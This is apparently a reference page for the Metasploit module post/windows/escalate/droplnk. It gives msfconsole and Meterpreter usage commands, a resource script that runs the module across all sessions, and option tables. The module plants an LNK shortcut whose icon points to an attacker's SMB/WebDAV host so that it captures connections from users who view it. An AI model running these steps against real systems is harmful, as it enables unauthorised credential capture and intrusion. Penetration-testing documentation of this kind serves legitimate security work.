Windows Escalate SMB Icon LNK Dropper - Metasploit


This page contains detailed information about how to use the post/windows/escalate/droplnk metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Escalate SMB Icon LNK Dropper
Module: post/windows/escalate/droplnk
Source code: modules/post/windows/escalate/droplnk.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module drops a shortcut (LNK file) that has a ICON reference existing on the specified remote host, causing SMB and WebDAV connections to be initiated from any user that views the shortcut.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/escalate/droplnk

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/escalate/droplnk
msf post(droplnk) > show options
    ... show and set options ...
msf post(droplnk) > set SESSION session-id
msf post(droplnk) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/escalate/droplnk")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • LHOST: Host listening for incoming SMB/WebDAV traffic

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Msfconsole Usage

Here is how the windows/escalate/droplnk post exploitation module looks in the msfconsole:

msf6 > use post/windows/escalate/droplnk

msf6 post(windows/escalate/droplnk) > show info

       Name: Windows Escalate SMB Icon LNK Dropper
     Module: post/windows/escalate/droplnk
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  mubix <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  ICONFILENAME  icon.png         yes       File name on LHOST's share
  LHOST                          yes       Host listening for incoming SMB/WebDAV traffic
  LNKFILENAME   Words.lnk        yes       Shortcut's filename
  SESSION                        yes       The session to run this module on.
  SHARENAME     share1           yes       Share name on LHOST

Description:
  This module drops a shortcut (LNK file) that has a ICON reference 
  existing on the specified remote host, causing SMB and WebDAV 
  connections to be initiated from any user that views the shortcut.

Module Options

This is a complete list of options available in the windows/escalate/droplnk post exploitation module:

msf6 post(windows/escalate/droplnk) > show options

Module options (post/windows/escalate/droplnk):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ICONFILENAME  icon.png         yes       File name on LHOST's share
   LHOST                          yes       Host listening for incoming SMB/WebDAV traffic
   LNKFILENAME   Words.lnk        yes       Shortcut's filename
   SESSION                        yes       The session to run this module on.
   SHARENAME     share1           yes       Share name on LHOST

Advanced Options

Here is a complete list of advanced options supported by the windows/escalate/droplnk post exploitation module:

msf6 post(windows/escalate/droplnk) > show advanced

Module advanced options (post/windows/escalate/droplnk):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/escalate/droplnk module can do:

msf6 post(windows/escalate/droplnk) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/escalate/droplnk post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/escalate/droplnk) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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See Also

Check also the following modules related to this module:

Authors

  • mubix

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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